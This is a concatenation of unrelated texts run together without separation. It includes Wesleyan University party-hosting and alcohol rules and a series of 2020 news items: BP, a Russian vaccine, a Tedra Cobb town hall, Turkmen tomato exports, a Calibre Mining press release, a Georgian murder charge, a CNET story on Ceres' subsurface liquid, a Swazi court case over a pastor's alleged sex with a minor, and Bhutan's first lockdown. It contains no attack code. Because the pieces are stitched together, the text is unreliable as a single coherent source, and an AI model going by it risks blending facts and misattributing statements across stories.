30 days prior to the event date. Advertising Guidelines Any form of off-campus advertising is prohibited without the approval of Student Involvement. This includes radio, internet, television, public social media pages, and newspaper advertisements. All advertising should clearly indicate the name of the host organization(s), date of the event, starting and ending times, location, name of the event, maximum capacity of the event location, and entrance fee/ID requirements. Alcohol may not, in any context, be the central focus of any event and should not be advertised as such. Hosting a Wood Frame party Registration allows you to have party attendees both inside and in the backyard of your residence, as long as the number inside the house does not exceed the posted re code capacity. Unregistered parties with any violations of the guidelines below, or with attendees outside the house, may end without an opportunity to make corrections. All students seeking to register a party must first complete host training. Host training is an online course through WesNest, which helps you to understand your legal responsibilities and Wesleyan policy regarding social events as well as the resources available to you to help you have a successful event. Host training must be completed each academic year. Fill out the Wood Frame Registration through the link on the Residential Life web page. Submit no later than 1 p.m. on the Thursday prior to events occurring Friday through the following Thursday. A co-hosting request may be submitted by two adjacent houses. Registration requests are reviewed by Residential Life and approval is not guaranteed. Houses on quiet streets may not host parties, as per their Quiet Street Agreement. You will receive notification regarding whether your party was approved or not on Thursday afternoon. Your request may not be approved if your house has pending judicial charges, or within a month after being found responsible for violations. The number of parties in any given block/area may be limited at the discretion of Residential Life. Parties are prohibited prior to the start of fall classes. Residential Life reserves the right to not approve requests from houses that have a history of multiple violations. On the day of the party, a Community Advisor will stop by to review the party policies and share tips for hosting a successful party. This Policy is in effect throughout the year, regardless of whether or not classes are in session. General Guidelines Alcohol is allowed under established guidelines below. Hosts are required to clean up any trash left on University property, inside a residential space, or outside. Failure to do so may result in a judicial referral or fines. Wesleyan Public Safety has the discretion to return any party to its permitted capacity or end parties when they are deemed to be out of compliance, unsafe, or after receiving two complaints about noise or disruptive behavior. Amplified sound is not permitted in the wood frame areas. Therefore, speakers may not be placed in doors or windows, on porches, or outside the houses. Students hosting a party should always consult with their neighbors when planning the event. Hosts must take an active role in ensuring that the event does not disturb the neighbors. One of the hosts must be at the door to monitor who is entering, whether they are of age (and hand stamp or wristband them), and how much alcohol they are bringing in. Anyone who appears to be under the influence should not be admitted. All attendees must have a valid Wesleyan picture ID or must be the guest of a Wesleyan student and have a valid state or college ID. One of the hosts must monitor the distribution and consumption of alcohol to be sure minors are not served or consuming. Quiet Hours When Quiet Hours are in effect (Sunday through Thursday, 11 p.m.-8 a.m.; Friday and Saturday, 2 a.m.-10 a.m.), all noise should be kept at a minimal level and not be heard outside the unit. All parties must end by the time quiet hours begin. In consideration of Middletown residents who live in the area, all noise and guests must be contained to inside the residential facility by 1 a.m. on weekends. At all other times, students are expected to observe Courtesy Hours and be mindful to ensure that noise levels do not interfere with or negatively impact other students or the community. Courtesy Hours are 24 hours a day, 7 days a week. If another person asks you to control the noise level in and around your residence, you are expected to comply with the request. Reading and final exam periods: Beginning at 12 a.m. (midnight) on the last day of classes through the last day of finals, 24-hour Quiet Hours are in effect in all residences. Alcohol Guidelines If the event is registered as an alcohol-free event, hosts will be responsible for ensuring that no alcohol is present at the event. If alcohol is to be part of the event, hosts will be responsible for ensuring that any alcohol at the event is legally procured, dispensed, and consumed. BP Plc said in June it was cutting its estimates for oil and gas prices in the coming decades between 20% and 30%, while also expecting the cost of carbon emissions to be more than twice as high as before. As a result the company is reviewing its projects, which could lead to some oil being left in the ground. Royal Dutch Shell Plc, BP and Total SE have written off billions of dollars of assets as the pandemic destroyed oil demand and prices, making some fields unprofitable to drill. The bulk of Totals impairment applied to Canadian oil sands, which are costlier and more carbon intensive than conventional fields. Russia's health ministry has given regulatory approval for the world's first COVID-19 vaccine, developed by Moscow's Gamaleya Institute, after less than two months of human testing, President Vladimir Putin said on Tuesday. The move paves the way for mass inoculation even as the final stages of clinical trials to test safety and efficacy continue. The speed at which Russia is moving to roll out its vaccine highlights its determination to win the global race for an effective product but has stirred concerns that it may be putting national prestige before science and safety. Also read: Coronavirus vaccine in India: Panel to discuss distribution plan, talk to manufacturers The fire department said the fire ignited both cars that were parked inside the garage, and stored fuel added to the intensity of the blaze. Firefighters at the scene worked to extinguish the fire while also protect a neighboring garage, the department said. Democratic congressional candidate Tedra Cobb held a Zoom town hall with supporters Wednesday, discussing COVID-19, domestic violence and building consensus among moderate and progressive Democrats, as well as with Republicans. Cobb focused on presenting herself as, in her words, not a politician. She said she believes she can lead this district well because she has been through many of the same struggles and situations as many people living here. She said shes started businesses, struggled with money, had three jobs simultaneously and dealt with health care issues in her family. COVID-19 Cobb said federal money needs to flow for the North Country to get through the COVID-19 pandemic. She said that after the 2008 recession the North Country took longer than other areas to recover. She said federal virus-related unemployment benefits of $600 a week, on top of state unemployment aid, need to continue for those who have been laid off or furloughed during the pandemic, or for whom it may be dangerous to return. How many of you have heard people say, I want to go back to work? Cobb said. This is a very hard-working district. So when I hear people say, People dont want to go back to work, that is absolutely false. Cobb said there has not been a satisfactory federal response to the pandemic yet. She said the virus has been politicized, which she called the root of chaos at the federal level. Were not seeing a consistent or fair or science-based federal response, Cobb said. There are 157,000 people who are dead. We are not listening to science. She said the federal government needs to assist states by funding more personal protective equipment and testing. Another voter asked about mail voting, and brought up concerns about Postmaster General Louis DeJoy, who recently admitted to creating rules that delay the mail. The new postmaster general is cutting overtime and establishing new guidelines to slow down the mail, Cyd Groff of Granville said. How do you think that is going to impact my vote by mail? Cobb said any stimulus package must include post office funding to help make voting by mail more efficient. Consensus A participant on Facebook, who was not named, asked how Cobb plans to bring together moderate and progressive Democrats in the election. Cobb said she wants to expand her reach to the GOP, too. She said they may not always agree on the path but can always find common ground on issues. This district we are fiercely independent, Cobb said. She said she believes partisan fighting and a lack of compromise drives voters away. Cobb also made a big promise. I will never cut a dime from Social Security and Medicare, she said. Domestic violence One voter, Jill Nadolski, spoke of domestic violence and asked Cobb what she would do about the issue if elected. With the pandemic there has been an uptick in people who are suffering from domestic violence, Nadolski said. Im a survivor of domestic violence. She mentioned that Stefanik voted against the Violence Against Women Act. Its not just about having women in office; its about having women who are going to be advocates for women, Cobb said. Stefaniks involvement with VAWA is complicated. VAWA focuses on educating police about domestic violence, funding community victim services and prevention programs, and eliminating a nationwide backlog of untested rape kits. In 2019 Stefanik voted against the Democratic version of the act while urging the House to pass a Republican version. The Democratic version passed the House, with 33 other Republicans voting for it, but has been stalled in the Republican-majority Senate ever since. Stefanik predicted this and last year asked the House to pass the Republican version, which she said was not partisan like she said the Democratic version was. The major difference between the two was a measure the Democrats included to close the boyfriend loophole, would extend existing gun restrictions prohibiting firearm purchases for people who are married to, lived with, or have a child with (a) victim and who have been convicted of an abuse felony or are under a restraining order, to include current and former dating partners convicted of abuse or stalking charges. Because of this gun restriction, the legislation has not passed the Republican-majority Senate. When the bill is stalled, the laws stay on the books, but funding is not renewed. In an impassioned speech on the House floor in 2019, Stefanik said that voting no on the Republican proposal is voting against VAWA. She said the Democratic bill would collect dust in the Senate. It did, and in December 2019 a Houston police officer was killed while on duty by an abusive boyfriend with a firearm, garnering fierce condemnation of Senate Republicans from the police chief. Stefaniks version would have extended VAWA until 2020 so a clean version with no amendments could be worked out. Democrats criticized this legislation at the time, saying it did not include provisions for child abuse training and testing of rape kits. Love 0 Funny 1 Wow 0 Sad 0 Angry 0 BAKU, Azerbaijan, August 11 By Jeila Aliyeva - Trend: Kazakhstan, Kyrgyzstan and Russia imported 25,321 tons of tomatoes from Turkmenistan from January through May 2020, which is two times more than in the same period last year, Trend reports with reference to the Eurasian Economic Commission. The total amount of tomato imports was $28.3 million. Thus, the share of Kazakhstan in the total amount of imports was $7.5 million, Kyrgyzstans share was $3.1 million, while Russias share was $17.6 million. Tomatoes cooked or canned without vinegar were also exported from Turkmenistan in the amount of 17 kilograms, for a total of $23. The only Eurasian Economic Union's (EAEU) country that imported tomatoes cooked or canned without vinegar was Kazakhstan. It addition to tomatoes, Turkmenistan exported 132 tons of cucumbers, in the amount of $129,717 to Kazakhstan, Kyrgyzstan and Russia from January through May 2020. The share of Kazakhstan in the import of cucumber was more than $105,000, the share of Kyrgyzstan was almost $23,000, and the share of Russia was $1,686. --- Follow the author on Twitter: @JeilaAliyeva VANCOUVER, British Columbia, Aug. 11, 2020 (GLOBE NEWSWIRE) -- Calibre Mining Corp. ("Calibre" or the "Company")(TSX: CXB; OTCQX: CXBMF) is pleased to announce its initial multi-year outlook (the "Plan"), which includes the initial Libertad Complex Preliminary Economic Assessment ("PEA"). The PEA is preliminary in nature and includes Inferred Mineral Resources that are considered too speculative geologically to have the economic considerations applied to them that would enable them to be categorized as mineral reserves, and there is no certainty that the PEA will be realized. All figures are expressed in United States dollars. LIBERTAD COMPLEX: PEA HIGHLIGHTS 2021 to 2023 annual average Gold production: 120,000 ounces All-In Sustaining Costs 1 ("AISC"): $906 per ounce After-tax, free cash flow: $69 million (at $1,800 gold) 2021 to 2025 cumulative, after-tax free cash flow $216 million at $1,500 gold $319 million at $1,800 gold Of the Mineral Resources reviewed for this plan, ~60% of the Indicated Mineral Resources and ~40% of the Inferred Mineral Resources were included in the PEA. Mineral Resources that are not Mineral Reserves do not have demonstrated economic viability. Additional technical studies (drilling, engineering, and mine design) are required to better understand the Mineral Resources excluded from the PEA Exploration No drilling results or data after December 31, 2018 are included Other than Jabali and Panteon Underground have more current drilling results and a mid-2020 effective date Near-mine and infill drilling programs designed to provide additional mill feed 2021 to 2025 milling capacity ~1,500,000 average annual tonnes of surplus mill capacity (installed, permitted and paid for) Underpins potential for significant organic production growth in the near-term LIMON COMPLEX (OPEN PIT MATERIAL ONLY): 10-YEAR OUTLOOK Average annual Gold production: 50,000 - 70,000 ounces AISC 1 : $900 - $1,100 per ounce Open Pit Probable Mineral Reserves (as at December 31, 2019) 1.4 million tonnes grading 4.25 g/t gold containing 195,000 ounces mined in 2020-2023 Additional Open Pit Mineral Resources (as at December 31, 2019) have the potential to extend mine life through 2031 Open Pit Indicated Mineral Resources exclusive of Mineral Reserves 0.5 million tonnes grading 4.29 g/t gold containing 62,000 ounces Open Pit Inferred Mineral Resources 3.8 million tonnes grading 5.49 g/t gold containing 679,000 ounces 20,000-meter infill drilling program underway at Limon Open Pits Anticipating majority of Inferred Mineral Resources will be upgraded to Indicated Mineral Resources when year-end 2020 reserves and resources are announced Russell Ball, Chief Executive Officer of Calibre stated: "Since completing the acquisition of Limon and Libertad just ten months ago, we have made a number of changes that position us to deliver significant value through the implementation of our 'hub-and-spoke' operating philosophy. With the increased investment in near-mine exploration and infill drilling, the recent restart of operations at Jabali underground, receipt of the development permit for Pavon Norte and additional Limon ore available, we have a number of opportunities in front of us to utilize more of the surplus mill capacity at our Libertad Complex." "The initial Libertad PEA provides a 'snapshot' into our view of the next three years based on the drilling data and mineral inventory we acquired from B2Gold last October. We expect to provide an updated 'snapshot' of the multi-year outlook for both Limon and Libertad in the second quarter of 2021." TABLE 1 - LIBERTAD COMPLEX: PEA FINANCIAL SENSITIVITY MODEL ($ MILLION, AFTER-TAX) The financial models in the PEA were prepared by SLR Consulting (Canada) Ltd. (formerly Roscoe Postle Associates Inc.) using a base case gold price of $1,500 per ounce. The PEA includes metal price sensitivities detailed in the technical report which is expected to be published on www.sedar.com in early September. Metal Price Sensitivities (2021 - 2025) Gold Price Assumption ($/ounce) $1,500 $1,800 $2,000 Cumulative after-tax free cash flow $216 $319 $386 NPV 5% $196 $290 $353 TABLE 2 - LIBERTAD COMPLEX: PEA PRODUCTION AND COST OUTLOOK 2021 2022 2023 2024 2025 Total Milled (tonnes) 804,000 977,000 1,165,000 413,000 254,000 3,613,000 Grade (g/t) 5.18 4.06 3.39 6.35 4.99 4.42 Gold Production (ounces) 122,000 118,000 118,000 79,000 38,000 476,000 Total Cash Costs1 ($/ounce) $748 $788 $768 $614 $798 $736 AISC1 ($/ounce) $1,019 $851 $857 $614 $798 $847 The PEA is based on Indicated and Inferred Mineral Resources from the following: Libertad: Jabali Antena open pit, Jabali underground and San Antonio open pit; Limon (trucked to Libertad Complex): Veta Nueva underground and Santa Pancha Complex (including Panteon) underground; and Pavon (trucked to Libertad Complex): Pavon Norte and Pavon Central open pits. COSTS The PEA costs are based on historical unit costs and productivities and do not consider current supply chain management opportunities. The reported AISC1 includes development, G&A, mining, processing, and ore transportation costs. The PEA is preliminary in nature, that it includes inferred mineral resources that are considered too speculative geologically to have the economic considerations applied to them that would enable them to be categorized as mineral reserves, and there is no certainty that the preliminary economic assessment will be realized. Further, Mineral Resources that are not Mineral Reserves do not have demonstrated economic viability. LIMON COMPLEX: OPPORTUNITIES The implementation of our 'hub-and-spoke' operating philosophy has been a key driver in advancing opportunities to positively impact the mine life and Net Asset Value at the Libertad and Limon complexes. Integrating Limon's 0.5 million and Libertad's 2.2 million tonne per annum milling capacity, allows us to maximize value by transporting and processing ore from numerous satellite deposits. The outlook at the Limon Complex provides a conservative snapshot of the production and cost profiles for only the open pit Mineral Reserves, with the potential for more mine life based on additional Mineral Resources. These Mineral Resource estimates do not consider any exploration drilling results after 2018, except for the Panteon Underground deposit which is part of the Santa Pancha underground mine. Based on the Mineral Reserves and expected conversion of the Mineral Resources, the outlook for the Limon Complex is expected to process 500,000 tonnes of mill feed and deliver between 50,000 and 70,000 ounces of gold production a year at AISC1 of between $900 and $1,100 per ounce for the next 10 years (beginning in 2021). The Limon Complex is assumed to process mill feed mined from the Limon open pits and this provides the opportunity to transport mill feed from the underground operations at Santa Pancha (including Panteon) and Veta Nueva to the Libertad Complex for processing. LIBERTAD COMPLEX: OPPORTUNITIES In October 2019, Calibre completed the purchase of the Limon and Libertad gold mines, the Pavon gold project and additional mineral concessions in Nicaragua from B2Gold Corp. At that time, the focus was on Limon and the recent discovery at Limon Central, while the consensus view was that Libertad had less than a year of remaining mill feed and was approaching closure and reclamation. By implementing our 'hub-and-spoke' operating philosophy and by developing the Pavon gold project, the Libertad Complex processing life has been significantly extended and is now expected to be a major source of free cash flow over the next five years. The PEA presents what we believe is a conservative approach to Mineral Resource inclusion, with no allowance for future exploration success which could contribute additional feed to the Libertad Complex. The PEA reflects average annual gold production of 100,000 ounces at AISC1 of $846 per ounce for the five-year period from 2021 to 2025. The cumulative, five-year after tax cashflow is estimated at $216 million ($1,500 gold) and $319 million ($1,800 gold). The scenario is based on an average mill throughput rate of 0.7 million tonnes per annum, leaving approximately 1.5 million tonnes of surplus annual mill capacity as a significant opportunity for organic growth via further conversion of Mineral Resources, exploration success, artisanal ore purchases or toll milling. Technical Report and Qualified Person A Technical Report prepared in accordance with NI 43-101 for the La Libertad Preliminary Economic Assessment will be filed on SEDAR (www.sedar.com (https://c212.net/c/link/?t=0&l=en&o=2626213-1&h=2838094998&u=http%3A%2F%2Fwww.sedar.com%2F&a=www.sedar.com)) within 45 days of this news release. Readers are encouraged to read the Technical Report in its entirety, including all qualifications, assumptions and exclusions that relate to the Mineral Resource. The Technical Report is intended to be read as a whole, and sections should not be read or relied upon out of context. This news release has been reviewed and approved by Grant A. Malensek, P.Eng./P.Geo. of SLR Consulting (Canada) Ltd. (formerly Roscoe Postle Associates Inc.), an "Independent Qualified Person" under NI 43-101 Standard for Disclosure for Mineral Projects. Darren Hall, MAusIMM, SVP & Chief Operating Officer, Calibre Mining Corp. is a "Qualified Person" as set out under NI 43-101 has reviewed and approved the scientific and technical information in this press release. ON BEHALF OF THE BOARD "Russell Ball" Russell Ball, Chief Executive Officer For further information, please contact: Ryan King Vice President, Corporate Development & IR T: 604.628.1010 E: calibre@calibremining.com (mailto:calibre@calibremining.com) W: www.calibremining.com About Calibre Mining Corp. Calibre Mining is a Canadian-listed gold mining and exploration company with two 100%-owned operating gold mines in Nicaragua. The Company is focused on sustainable operating performance and a disciplined approach to growth. Since the acquisition of the Limon, Libertad gold mines and Pavon Gold Project, Calibre has proceeded to integrate its operations into a "Hub-and-Spoke" operating philosophy, whereby the Company can take advantage of reliable infrastructure, favorable transportation costs, and multiple high-grade mill feed sources that can be processed at either Limon or Libertad, which have a combined 2.7 million tonnes of annual mill throughput capacity. NOTE 1: Non-IFRS Measures Calibre has included certain non-IFRS measures in this news release, as discussed below. The Company believes that these measures, in addition to conventional measures prepared in accordance with IFRS, provides investors with an improved ability to evaluate the underlying performance of the Company. These non-IFRS measures are intended to provide additional information and should not be considered in isolation or as a substitute for measures of performance prepared in accordance with IFRS. These measures do not have any standardized meaning prescribed under IFRS, and therefore may not be comparable to other issuers. Total Cash Costs per Ounce of Gold Sold ("Total Cash Costs") Total Cash Costs include mine site operating costs such as mining, processing, and local administrative costs (including stock-based compensation related to mine operations), royalties, production taxes, mine standby costs and current inventory write-downs, if any. Production costs are exclusive of depreciation and depletion, reclamation, capital, and exploration costs. Total Cash Costs are net of by-product silver sales and are divided by gold ounces sold to arrive at a per ounce figure. All-In Sustaining Costs per Ounce of Gold Sold ("AISC") AISC is a performance measure that reflects the expenditures that are required to produce an ounce of gold from current operations. While there is no standardized meaning of the measure across the industry, the Company's definition is derived from the definition, as set out by the World Gold Council in its guidance dated June 27, 2013 and November 16, 2018, respectively. The World Gold Council is a non-regulatory, non-profit organization established in 1987 whose members include global senior mining companies. The Company believes that this measure is useful to external users in assessing operating performance and the ability to generate free cash flow from operations. Calibre defines AISC as the sum of Total Cash Costs (per above), sustaining capital (capital required to maintain current operations at existing production levels), capital lease repayments, corporate general and administrative expenses, exploration expenditures designed to increase resource confidence at producing mines, amortization of asset retirement costs and rehabilitation accretion related to current operations. AISC excludes capital expenditures for significant improvements at existing operations deemed to be expansionary in nature, exploration and evaluation related to resource growth, rehabilitation accretion not related to current operations, financing costs, debt repayments, and taxes. Total AISC is divided by gold ounces sold to arrive at a per ounce figure. Cautionary Note Regarding Forward Looking Information This news release includes certain "forward-looking information" and "forward-looking statements" (collectively "forward-looking statements") within the meaning of applicable Canadian securities legislation. All statements in this news release that address events or developments that we expect to occur in the future are forward-looking statements. Forward-looking statements are statements that are not historical facts and are identified by words such as "expect", "plan", "anticipate", "project", "target", "potential", "schedule", "forecast", "budget", "estimate", "intend" or "believe" and similar expressions or their negative connotations, or that events or conditions "will", "would", "may", "could", "should" or "might" occur Forward-looking statements necessarily involve assumptions, risks and uncertainties, certain of which are beyond Calibre's control. For a listing of risk factors applicable to the Company, please refer to Calibre's annual information form for the year ended December 31, 2019, available on www.sedar.com. This list is not exhaustive of the factors that may affect Calibre's forward-looking statements. Calibre's forward-looking statements are based on the applicable assumptions and factors management considers reasonable as of the date hereof, based on the information available to management at such time. Calibre does not assume any obligation to update forward-looking statements if circumstances or management's beliefs, expectations or opinions should change other than as required by applicable securities laws. There can be no assurance that forward-looking statements will prove to be accurate, and actual results, performance or achievements could differ materially from those expressed in, or implied by, these forward-looking statements. Accordingly, undue reliance should not be placed on forward-looking statements. Artur Gabrielyan (born in 1983), who was detained in densely-Armenian-populated Akhalkalaki town of Georgia on August 8, has been charged, JNews reported. In connection with the murder in Akhalkalaki, the Georgian prosecutor's office has charged Gabrielyan with premeditated murder as well as illegal acquisition, possession, and carrying of firearms and ammunition; the maximum penalty for this crime is 7 to 15 years in prison. The aforesaid incident took place on August 8, during an argument between young people, and a 27-year-old man was killed. This tragedy caused a mass riot in Akhalkalaki, and as a result, special forces were called in to resolve the situation. At the moment, the situation in the town has stabilized. The investigation found out that the accused, Artur Gabrielyan, had shot and wounded V. M. (born in 1993) during the aforesaid argument, and V. M. had died before being taken to the hospital. Police have confiscated the weapon with which this crime was committed. Gabrielyan was detained a few hours after the incident. The investigation is still in progress. This article, Ceres, a dwarf planet in the asteroid belt, hides an underground ocean, originally appeared on CNET.com. In the asteroid belt, an immense region of space between Mars and Jupiter, millions of rocky bodies serenely move around the sun in a timeless cosmic dance. Queen among the dancers is Ceres, the belt's largest object and a "fossil" from the early days of the solar system. In 2007, NASA launched the Dawn spacecraft to the belt to study Ceres up close. After surveying the dwarf planet, tracing its blemishes and examining its sullen features, scientists reasoned it was once home to a global ocean that had frozen over. On Monday, a suite of seven studies in the journal Nature scrutinize extended mission data from Dawn, peering at Ceres' dull, lifeless shell and finding definitive evidence that it is an ocean world. "The new results confirm the presence of liquid inside Ceres," says Julie Castillo-Rogez, a planetary scientist at NASA's Jet Propulsion laboratory (JPL) and co-author across six new studies. The discovery of liquids hints that Ceres, the closest dwarf planet to Earth, may have been a habitable world and raises the possibility that these types of worlds may harbor life. It was a surprise that the old ocean is not completely frozen. Andreas Nathues Ceres is a mini-Pluto, around 2.5 times smaller than its more famous cousin. As Dawn whizzed overhead during its prime mission in 2015, the spacecraft photographed mysterious bright spots at the center of Occator crater, a 60-mile-wide scar in Ceres' surface. The stark white light reflecting from within turned out to be a crater-within-a-crater. NASA scientists decided they needed an even closer look. Between June and October 2018, as its mission was coming to an end, Dawn moved to within 22 miles (35 km) of Ceres' surface. This, according to Castillo-Rogez, improved the resolution of Dawn's imaging by a factor of 10, giving planetary scientists an unprecedented look at the geology and composition of Occator. In Monday's haul of studies, scientists lay out their case for liquid below the crater and ongoing geological activity within Ceres. Bright spots Central to understanding Ceres is Occator's bright spot. Known as Cerealia Facula, previous research showed the reflective sheen at Cerealia was caused by salt residues on the surface, evidence of past water activity. But how did water come to settle in the bowl-shaped Occator? There were two competing theories. The first hypothesized the salty residues were the result of the impact that created Occator, while the second suggested fluids were still bubbling up from below Ceres' surface. Dawn's close approach was designed to pull apart this problem. One study found, as Castillo-Rogez puts it, a "smoking gun": hydrohalite. Hydrohalite is composed of sodium chloride -- sea salt -- surrounded by water molecules. Using images obtained by Dawn's infrared mapping device, a team of Italian and US researchers found the unmistakable infrared signal of hydrohalite. It's the first time it has been discovered outside Earth. Castillo-Rogez calls it a "major discovery" and explains it must have only recently been exposed, probably "less than around 100 years ago." It provides robust evidence liquid persists on Ceres today, she says, but whether this is a global ocean or pockets of liquid is yet to be determined. A mosaic of Cerealia Facula highlighting the differences in composition. NASA/JPL-Caltech/UCLA/MPS/DLR/IDA/PSI Coupled with gravitational data of Occator and its surrounding region, the Dawn scientists were able to map out the geometry of the underground liquid reservoir. Two other studies allowed researchers to examine the thickness of the bright spot and age it. The composition shows Cerealia is significantly younger than the impact crater itself. It's likely that an impactor smashed into Ceres and formed Occator around 22 million years ago. After impact, a small "melt chamber" of liquid formed and the salty liquid within then moved up to the surface to form the structure of Cerealia about two million years ago. "We concluded that some low activity at Occator is probably still ongoing," says Andreas Nathues, a planetary scientist at the Max Planck Institute for Solar System Research and first author on one of the new studies. "It was a surprise that the old ocean is not completely frozen." Dawn's imagery also helps explain another surface feature on Ceres. To the east of Cerealia lies the Vinalia Faculae, a set of thinner, more diffuse bright spots that also show evidence of salts. The researchers reason the difference between the two regions arises because Vinalia has been fed by a deeper source of liquid welling up deep from within Ceres innards. The liquid travels through fractures to the surface where it freezes out, leaving the salty deposits behind. Cold hearts Castillo-Rogez has spent the last two decades studying the evolution of icy worlds in our solar system, trying to understand how they came to be. Some heavenly bodies, like Jupiter's moon Io, generate internal heat through gravitational interactions with their planets -- a process known as "tidal heating." This process can dominate how those worlds evolve. Castillo-Rogez's work has focused on mid-sized cosmic worlds that don't experience this heating, such as Saturn's moons Iapetus and Phoebe. Dwarf planets like Ceres have cold hearts. They don't experience tidal heating and, lacking an atmosphere, don't trap any heat either. Without heat, water freezes out. But data from Dawn is now allowing scientists like Castillo-Rogez to show these types of cosmic bodies can maintain liquid water over eons in other ways, thanks to the role of salty liquids and compounds like hydrohalite. Impact events, which generate a lot of heat, may be a chief driver of icy evolution and the short-lived melt chambers they create could be "transient" habitable chambers for alien life. NASA scientist and co-author Lynnae Quick believes these kinds of chambers may provide a chance for life to arise in ocean worlds and icy moons. Ocean worlds are becoming increasingly common as we learn more about our solar system. There are Enceladus, Saturn's snowball moon, and both Ganymede and Europa, Jovian moons believed to harbor internal oceans. Even further out, at the edge of the solar system, ocean worlds may persist. Studying Pluto, another cold-hearted dwarf planet (cold-heartedly demoted from official planet status), with NASA's New Horizons spacecraft, researchers found evidence for a global liquid ocean underneath its frozen shell in 2016. "Maybe there are more objects out there like Ceres," ponders Nathues. The evolution of these icy bodies has far-reaching implications: Where there is water, there is potential for life. Observing the solar system's ocean worlds will enable scientists to assess how habitable they are, and NASA's Dawn has given us an inside track. Pluto is believed to hide an underground ocean, too. NASA/JHUAPL/SwRI Ocean worlds Many astrobiologists have their eyes on Mars. Earth's neighbor is the prime target for a suite of recently launched missions designed to look for signs of ancient life. But ocean worlds might also provide refuge for alien forms. A raft of ocean worlds are set to be explored in the coming decades by two interplanetary probes. Both NASA and the European Space Agency (ESA) will send spacecraft to Jupiter's moon Europa, a world that NASA scientists believe may be the best spot to check for life. The ESA's spacecraft, known as JUICE, will also flyby Ganymede and Callisto, large Jovian moons believed to maintain underground oceans. Dawn is paving the way to understand what those spacecraft might find there. "The unprecedented resolution from the Dawn images offer a good reference to support future observations of Europa and Ganymede," says Castillo-Rogez. While planetary scientists begin to look further ahead and plan for missions to icy moons, Castillo-Rogez says that this is just the beginning of data analysis from NASA's Dawn and that many questions have been opened by the Dawn mission. The results from Occator only cover a fraction of the data beamed back to Earth by Dawn in its final days. The team's discovery has enabled Ceres to be upgraded from a "candidate" ocean world to a certainty, but there are new mysteries now to solve. To adequately determine whether icy moons and icy bodies like Ceres could harbor life -- or may have in the past -- the nature of the environment below the surface needs to be clearly understood. "To answer more detailed questions about the ocean, we would need a lander mission," says Nathues. Castillo-Rogez notes a concept study is being finalized for submission to NASA that would see a sample return mission to Vinalia Faculae, allowing scientists to assess habitability and study the state of organic matter on the surface. Whether such a mission is favorably viewed by NASA's long-term planning committee won't be known until 2022. Dawn was officially retired on Nov. 1, 2018, bringing an end to its mission. It was not deliberately crashed into the planet for fear it might contaminate the surface. The probe continues a lonely vigil in orbit around Ceres and is likely to do so for the next two decades. If we're to return to nab samples, Dawn will be orbiting overhead, a monument to past success. MBABANE - I fell in love with the pastor because he promised me a good life. He had done a lot of good things for me. These were the words of a 17-year-old pupil, who accused Pastor Themba Trustworthy Mavuso of engaging in unlawful sexual intercourse with her. The pupil, who attends one of the high schools around Mbabane, alleged in court that she was engaged by the man of God concerning her behaviour. She claimed that during their engagement, Pastor Mavuso asked her to disclose everything about her life so that he could help her as a father. The pupil claimed that Mavuso went to an extent of promising to provide for all her needs as a parent. She told the court that she was taken to the pastor by her parents for counselling. *Dumsile told the court that as time went on, Mavuso suggested that they should have sexual intercourse, which she alleged happened three times. The minor said while preparing to go to a church camp one fateful day, she happened to leave her cellphone in the house. She claimed that her sister searched the cellphone and discovered some romantic chats between her and the pastor. Anger When I returned to the house, my sister asked what was happening between me and Pastor Mavuso. I told her the whole story. However, my sister showed no signs of anger, she stated. Dumsile informed the court that after some time, her sister and mother invited her to town to meet her brother who wanted to give her something. To her surprise, the minor stated that the duo led her to the Mbabane Police Station. She told the court that upon arrival at the police station, a police officer asked her to reveal everything concerning her alleged relationship with Mavuso. I narrated the whole story before the police officers and they advised me to go to Mbabane Government Hospital for medical examination. I then returned the medical form to the police station, she claimed. During cross-examination, Advocate Mduduzi Tsotsi Mabila, who is representing Mavuso with instructions from lawyer Linda Dlamini, asked Dumsile if she would reveal names of all people she had sexual intercourse with before the alleged incident. In response, the minor stated that she would not divulge any name because she never had sexual intercourse before the alleged incident. Advocate Mabila further put it to Dumsile that her biological mother and sister informed the court that she was sexually active. Wayward He asked the pupil why her mother and sister would fabricate a story against her under oath. Mabila put it to the pupil that at the time of the alleged incident, she (Dumsile) was a wayward child. The minor stated that she did not know how her mother and sister arrived at telling the court that she was sexually active. Mabila further pointed out that the doctors report stated that Dumsile felt no pain during the examination, meaning she was sexually active. The pupil responded that there was nothing sinister about her feeling no pain during the examination because she had allegedly had sexual intercourse three times with Mavuso. Mabila then referred Dumsile to the statement she recorded with the police. He pointed out that in her statement, the pupil never mentioned that her mother and sister invited her to town to meet her brother before she was taken to the police station. The advocate stated that even Dumsiles sister never mentioned that part in her evidence-in-chief. You omitted this because it never happened, Mabila told the minor. He referred the pupil to paragraph two of the statement where it read; EWC Mavuso said he loves me. I agreed that I love him too. Mabila observed that the pupil changed her statement in her evidence and claimed that Mavuso called her to his church to discuss her life. Proposed Mabila put it to the pupil that she never mentioned in her statement that she spoke to Mavuso as a daughter but portrayed him as a man who just proposed love to her. The church and the law frown upon people who tell lies. In court, you said you know Mavuso as your pastor but in your statement you claimed that Mavuso proposed to you and promised you good things in life. You told this court that you were enticed by the promises of a good life to accept the proposal from Mavuso. Which of your lies do you want the court to believe? asked the advocate. The pupil stated that the court should believe the testimony she made in court. He also put it to her that the pastor instructed him that during their engagement, the pupil confided that she was in a love relationship with a certain boy from her area. He claimed that the minor admitted that the boy broke her virginity. However, the pupil denied the allegations and insisted that she had sexual intercourse with the pastor on numerous occasions. The matter was postponed to October 13, 2020 for continuation. *Not real name to protect identity of minor. Bhutan is one of the few nations in the world to report zero COVID-19 deaths Bhutan has been largely shielded from coronavirus but on Tuesday, the remote Himalayan kingdom famous for measuring gross national happiness went into lockdown for the first time. The country of 800,000 people between India and China has recorded just 113 novel coronavirus cases and is one of the few nations to report zero deaths. The lockdown ordered in the early hours of Tuesday allows only essential services for an initial five to six days, said Prime Minister Lotay Tshering, a doctor who continues to practise on weekends. "Everyone is asked to stay home to protect themselves from the disease, should there be undetected, rampant transmissions," a statement from his office said. The announcement came after a Bhutanese woman who had returned from Kuwait and released from quarantine after 30 days tested positive around 10 days later. Three rapid antibody tests were positive during her time in quarantine, throughout which she was asymptomatic, but six PCR tests were all negative and she was discharged on July 26. A seventh PCR test came back positive on Monday and since leaving quarantine, the woman was found to have travelled extensively in Bhutan, mixing with family and friends and even shopping. As of midday, the health ministry had traced 210 people suspected to have come in contact with her, the prime minister's office said. The lockdown decision was made in a meeting by the virus task force that, according to the prime minister's office, stayed in touch with Bhutan's king "through the night". After the announcement, many people rushed to the shops to buy essential items like rice, vegetables, eggs, vegetable oil and tobacco, an AFP correspondent said. Karma Tenzin, a resident of the capital Thimphu, said he was well prepared as the government had warned people to be 